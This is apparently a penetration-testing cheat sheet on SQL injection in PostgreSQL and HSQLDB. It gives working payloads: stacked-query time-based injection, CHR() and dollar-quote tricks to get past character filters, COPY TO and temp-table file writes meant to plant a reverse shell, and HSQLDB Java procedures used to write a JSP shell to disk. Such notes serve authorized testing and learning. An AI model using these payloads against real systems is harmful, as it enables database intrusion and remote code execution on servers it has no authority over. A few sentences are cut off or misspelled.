Approaches to leverage different databases

PostgreSQL

Watch out for queries that returns multiple rows in the place where application returns just one - it can break the program.

Stacked queries

It is important to know PostgreSQL supports stacked queries (only the basic ones: SELECT, DELETE, INSERT etc). That means if we will find injection point we are able to terminate the current query with ; keyword and then inject our own command.

Example (sleep script injection to confirm the vulnerability):

http://site?id=5;SELECT+pg_sleep(10);

After confirming the vulnerability and ability to perform stacked queries we can proceed to crafting RCE payload. This is possible by usage of.

Problem with special characters

Sometimes you can encounter encoding that is done on special HTML chars. In order to still being able to use them we can leverage CHR characters in order to create the command.

SELECT * FROM CHR(65) || CHR(66) || CHR(67); # = SELECT * FROM ABC

RCE possibility

We can leverage the COPY TO functionality in order to create reverse shell on the machine but in this case CHR() will not work.

Bypassing the possible restrictions

That why we have to use substitutes - there are a few options in PostgreSQL that allows us to replace special characters.

For example when we cannot use ' character we can replace it with $$. If we cannot use " we can replace it with $.

' == $$
" == $

Creating Reverse Shell

In order to create reverse shell / just create the file using PostgreSQL we have to:

  1. Create temporary table and enter the data there.

  2. Use data from temporary data to fill up our created file.

CREATE TEMP TABLE test_table(payload text); # table creation
INSERT INTO test_table(payload) VALUES ($$contents$$); # file contents
COPY test_table(payload) TO $$C:\Full_Path$$; # file creation with payload from table

Superuser functionalities

In order to check if we are superusers we can run the following command:

in the case of blind SQLi we can merge it with pg_sleep command

SELECT current_setting('is_superuser');

If this is the case new possibilities are open to us. For example we can upload malicious PostgreSQL extensions in order to gain RCE.

HSQLDB

You can query java code from HSQLDB Database in the following way:

The function below returns value of executing getProperty method.

CREATE FUNCTION systemprop(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

In this way we can create reverse shell in .jsp file using writeBytesToFilename:

CREATE PROCEDURE writeBytesToFilename(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

PoC to checks if we can save data to file (you should encode the file contents with Decorer in Burp Suite - ASCII HEX):

call writeBytesToFilename('test.txt', cast ('68656c6c6f20776f726c6421' AS VARBINARY(1024)))

Finding the write location:

VALUES(systemprop('user.dir'))

If the method is not available due to Java version you should find other useful functions in Java / Application code.

Last updated